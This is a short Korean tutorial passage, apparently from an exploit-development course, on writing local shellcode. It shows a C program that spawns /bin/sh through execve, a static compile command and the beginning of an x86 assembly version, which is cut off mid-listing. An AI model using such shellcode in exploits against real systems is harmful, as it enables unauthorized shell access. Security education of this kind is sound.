[D+8] 쉘 코드 제작 (심화)
6. 쉘 코드 제작 (심화) 1) LOCAL SHELLCODE ▣ Local Shellcode- 로컬 환경에서 동작되는 쉘(/bin/sh)- /tmp/local.c 로 작성- 컴파일 : # gcc -o local local.c -static - execve(실행경로, 인자값 배열의 주소, 환경변수 배열의 주소) //execve는 시스템콜함수로 11번임.#include int main() { char * i2sec[2]; i2sec[0] = "/bin/sh"; i2sec[1] = 0; execve(i2sec[0], i2sec, &i2sec[1]); } - 어셈블리어로 작성.global _start _start: jmp short message start: pop ebx push 0 mov edx, esp ..